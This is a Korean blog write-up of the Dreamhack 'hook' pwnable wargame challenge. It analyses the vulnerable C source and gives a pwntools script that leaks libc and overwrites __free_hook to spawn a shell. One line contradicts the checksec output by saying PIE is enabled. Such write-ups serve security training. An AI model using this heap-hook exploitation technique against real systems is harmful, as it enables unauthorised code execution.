문제 : https://dreamhack.io/wargame/challenges/52
hook
Desciption 이 문제는 작동하고 있는 서비스(hook)의 바이너리와 소스코드가 주어집니다. 프로그램의 취약점을 찾고 _hook Overwrite 공격 기법으로 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요.
dreamhack.io
Environment
[*] '/home/minzu/Dreamhack/hook'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
- Canary : Canary가 존재
- Full RELRO : got overwrite 기법을 사용할 수 없음
- NO PIE : 코드 영역의 주소가 그대로 존재함
- NX enabled : 스택에 쓰기 권한이 없음
Code Analysis
// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
long *ptr;
size_t size;
initialize();
printf("stdout: %p\n", stdout);
printf("Size: ");
scanf("%ld", &size);
ptr = malloc(size);
printf("Data: ");
read(0, ptr, size);
*(long *)*ptr = *(ptr+1);
free(ptr);
free(ptr);
system("/bin/sh");
return 0;
}
Vulnerability Type : Arbitary write in Free_hook & Double Free
*(long *) *ptr = *(ptr +1);
해당 부분을 보면, ptr + 8byte에 있는 부분을, ptr이 가리키겠다는 뜻이다.
즉, ptr이 배열이라면, ptr[0] = ptr[1]이 되는 것이다.
ptr[1]에 잘못된 영역이 들어가 있다면, ptr[0]을 가리키게 된다.
ptr은 현재 힙에 할당한 메모리를 가리키고 있다.
ptr에 size 만큼 접근할 수 있으므로, ptr이 카리키는 메모리 공간에 접근할 수 있다.
이때 ptr에 __free_hook의 주소를 넣고, ptr+1이 가리키는 곳에 원하는 값을 넣음으로써 익스플로잇이 가능할 것이다.
또한, free(ptr)을 실행시키면서, __free_hook에 있는 값이 실행되기 때문에, free함수가 호출되면 원하는 함수를 실행할 수 있다.
Double Free bug가 존재한다. 따라서 뒤에 있는 system('/bin/sh')은 Double Free bug로 인해 실행이 불가능할 것이다.
해당 코드를 취약하다고 생각하는 이유는 다음과 같다.
- hook이 존재함으로써 원하는 함수를 실행시킬 수 있음
- PIE가 없는 코드에 system('/bin/sh')가 존재하므로, 실행 흐름을 옮기기 쉬움
- 함수 포인터가 수정될 수 있는 부분이 있음 -> 다음에 저장된 포인터를 현재 포인터로 옮겨올 수 있음
- 보호 기법을 bypass하지 않아도 됨
이에 따라 해당 코드는 익스플로잇이 가능하다.
Exploit Idea
- libc_base를 leak한다
- ptr에 free_hook + system('/bin/sh')의 값을 넣는다.
Exploit Scenario
libc base leak
stdout을 이용하여 libc_base를 leak한다.
현재 stdout을 출력하는 부분이 있기 때문에, _IO_2_1_stdout_으로 libc base를 계산할 수 있다.
ptr에 대입
ptr에 libc_base + __free_hook한 값과 + system('/bin/sh')의 값을 넣는다.
system('/bin/sh')가 main+199에 존재하기 때문에, 바로 해당 영역을 넣어주면 된다.
PIE가 적용되어 있기 때문에, 절대 값으로 넣어줘도 괜찮다
Exploit
from pwn import *
p = remote('host3.dreamhack.games',14437)
e = ELF('./hook')
libc = ELF('./libc-2.23.so')
main = e.sym['main']
system = main + 199
p.recvuntil('stdout: ')
stdout = int(p.recv(14), 16)
libc_base = stdout - libc.sym['_IO_2_1_stdout_']
free = libc_base + libc.sym['__free_hook']
payload = p64(free) + p64(system)
p.sendlineafter('Size: ', "100")
p.sendlineafter('Data: ', payload)
p.interactive()
'Hacking > Write Up' 카테고리의 다른 글
[Web3] Fallback (0) | 2025.05.25 |
---|---|
[Web3] Hello Ethernaut (0) | 2025.05.25 |
[Pwnable] oneshot (0) | 2025.05.16 |
[Reversing] Easy Assembly (0) | 2025.05.10 |
[Pwnable] fho (0) | 2025.05.09 |